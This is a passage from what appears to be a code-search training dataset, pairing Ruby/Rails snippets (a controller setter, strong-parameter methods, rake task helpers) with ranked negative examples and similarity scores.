[ "0.7428843", "0.710959", "0.710959", "0.710959", "0.710959", "0.710959", "0.70994884", "0.7082889", "0.70809025", "0.7042368", "0.700188", "0.6971907", "0.6955675", "0.6955675", "0.6955675", "0.6955675", "0.6933841", "0.6917134", "0.6901846", "0.6892551", "0.6835365", "0.68232894", "0.68167865", "0.68030965", "0.6799146", "0.67618763", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.6755428", "0.67507035", "0.67416656", "0.67272455", "0.67250174", "0.6711208", "0.67093205", "0.67080295", "0.6685161", "0.6682423", "0.66683286", "0.66589904", "0.6652055", "0.66453135", "0.66421455", "0.6618214", "0.6589315", "0.65777385", "0.6571592", "0.65695226", "0.6551982", "0.6536834", "0.65213954", "0.6516167", "0.6514457", "0.65132046", "0.6512897", "0.6511775", "0.6492964", "0.64908075", "0.6484996", "0.64848846", "0.6482548", "0.64757127", "0.6474012", "0.64735293", "0.6473445", "0.6473311", "0.6465132", "0.6462386", "0.64553905", "0.64478654", "0.6447134", "0.64433134", "0.64375436", "0.6431524", "0.6426402", "0.6425608", "0.6423784", "0.6418342", "0.6412654", "0.64107084", "0.64093286", "0.64088345", "0.64075744", "0.64072", "0.64036417", "0.64025545", "0.64024496", "0.6402387", "0.6400817", "0.6399125", "0.6397991", "0.6392647", "0.63920766", "0.6386996" ]
0.74369824
0
Use callbacks to share common setup or constraints between actions.
def set_hp_search @hp_search = HpSearch.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def hp_search_params params.require(:hp_search).permit(:name, :zipcode) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
one_task.rake one_task task will run another_task.rake another_task task will run my_tasks_all_mine.rake mine:task1 task will run mine:task2 task has a duplicate (will not run) mine:task3 task has a duplicate (will not run) mine:task4 task will run other_tasks_run_all.rake other_task1_run_me task will run other_task2_run_me task has a duplicate (will not run) other_task3_run_me task has a duplicate (will not run) other_task_not_run_yet task will run other_tasks_mixed_duplicates.rake other_task2_run_me task has a duplicate (will not run) other_task3_run_me task has a duplicate (will not run) task2_duplicate.rake mine:task2 task has a duplicate (will not run) task4_duplicate.rake mine:task4 task has a duplicate (will not run)
def create_rake_files(base_dir) one_task_fn = File.join(base_dir, 'one_task.rake') make_tasks_in_file(['one_task'], one_task_fn) if ok_to_create?(one_task_fn) another_task_fn = File.join(base_dir, 'another_task.rake') make_tasks_in_file(['another_task'], another_task_fn) if ok_to_create?(another_task_fn) my_tasks_mine_fn = File.join(base_dir, 'my_tasks_all_mine.rake') make_tasks_in_file(['task1', 'task2', 'task3', 'task4'], my_tasks_mine_fn, namespace: 'mine') if ok_to_create?(my_tasks_mine_fn) tasks_run_all_fn = File.join(base_dir, 'other_tasks_run_all.rake') make_tasks_in_file(['other_task1_run_me', 'other_task2_run_me', 'other_task3_run_me', 'other_task_not_run_yet'], tasks_run_all_fn) if ok_to_create?(tasks_run_all_fn) tasks_mixed_duplicates_fn = File.join(base_dir, 'other_tasks_mixed_duplicates.rake') make_tasks_in_file(['other_task2_run_me', 'other_task3_run_me'], tasks_mixed_duplicates_fn) if ok_to_create?(tasks_mixed_duplicates_fn) task2_duplicate_fn = File.join(base_dir, 'task2_duplicate.rake') make_tasks_in_file(['task2'], task2_duplicate_fn, namespace: 'mine') if ok_to_create?(task2_duplicate_fn) task4_duplicate_fn = File.join(base_dir, 'task4_duplicate.rake') make_tasks_in_file(['task4'], task4_duplicate_fn, namespace: 'mine') if ok_to_create?(task4_duplicate_fn) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_tasks_to_run\n self.all_tasks - all_tasks_previously_run - all_tasks_duplicates\n end", "def files_with_tasks_to_run\n\n # load all tasks into self.all_tasks\n get_tasks_from_rakefiles\n\n set_and_log_tasks_already_ran(self.all_tasks)\n set_and_log_duplicate_tasks(self.all_tasks_not_previously_run)\n\n close_log_if_this_created_it(log)\n\n rakefiles_with_tasks_to_run\n\n rescue => error\n log.error(\"Error during #{self.class.name} #{__method__}! #{error}\") unless log.nil?\n raise error\n end", "def run!(*tasks_to_run)\n tasks_to_run.flatten!\n\n tasks_to_run.map! do |ttr| \n unless ret = self.__tasks.find {|t| t.__name == ttr } \n seq = self.__sequences.find {|t| t.__name == ttr }\n ret = seq.__task_names.map {|tn| self.__tasks.find {|t| t.__name == tn }}.compact if seq\n end\n ret\n end\n tasks_to_run.flatten!\n tasks_to_run.compact!\n\n ret = []\n tasks_to_run.each do |task|\n ret << task.__build_commands(self.__tasks)\n Runner.execute!(:task => task, :tasks => self.__tasks, :servers => self.__servers, :silent => self.__options[:silent], :verbose => self.__options[:verbose])\n end\n\n $stdout << \"\\033[0m\"\n ret.flatten # return this for tests\n end", "def rake(task_string, opts={})\n\n # default behaviour: rake tasks being invoked only once, unless reenabled\n # for multiple execution, so let's just reenable always\n Rake::Task[task_string].reenable\n Rake::Task[task_string].invoke(opts)\n \nend", "def rakefiles_with_tasks_to_run\n\n rakefiles_with_tasks = new_hash_of_eval_rakefiles\n\n # This isn't efficient, but it's clear:\n all_tasks_to_run.each do |task_to_run|\n rakefilename = task_to_run.filename\n ev_rakefile_to_run = self.all_rakefiles[rakefilename]\n ev_rakefile_to_run.tasks_to_run << task_to_run\n rakefiles_with_tasks[rakefilename] = ev_rakefile_to_run\n end\n\n rakefiles_with_tasks\n end", "def set_and_log_duplicate_tasks(evaluated_tasks)\n\n return [] if evaluated_tasks.empty?\n\n # get all of the task_names that are duplicates (TODO ruby 2.7: replace this with .tally)\n duplicated_names = evaluated_tasks.group_by(&:name).select { |_name, tasks | tasks.size > 1 }.keys\n\n # Guard condition: no duplicate names, so just return\n return [] if duplicated_names.empty?\n\n # get the duplicated tasks for each name; return all of them\n duplicated_names.map{|dup_name| duplicated_tasks_for_name(dup_name, evaluated_tasks) }.flatten\n end", "def set_and_log_tasks_already_ran(evaluated_tasks)\n return [] if evaluated_tasks.empty?\n\n already_ran = []\n\n evaluated_tasks.each do |evaluated_task|\n successful_attempt = find_successful_attempt_for_task(evaluated_task)\n already_ran << tasks_updater.set_and_log_task_as_already_ran(evaluated_task, successful_attempt) if successful_attempt\n end\n\n already_ran\n end", "def add_hardcoded_duplicates(task)\n task.add_duplicate('t1 duplicate 1')\n task.add_duplicate('t1 duplicate 2')\n end", "def next_task(tasks = @@DISTANCE_TASKS+@@INCLADE_TASKS, save = true)\n tasks.find do |t|\n if metadata[\"run_#{t}\"] == false or\n (!is_clade? and @@INCLADE_TASKS.include?(t) and\n metadata[\"run_#{t}\"] != true)\n false\n else\n add_result(t, save).nil?\n end\n end\n end", "def make_tasks\n make_clean_task\n 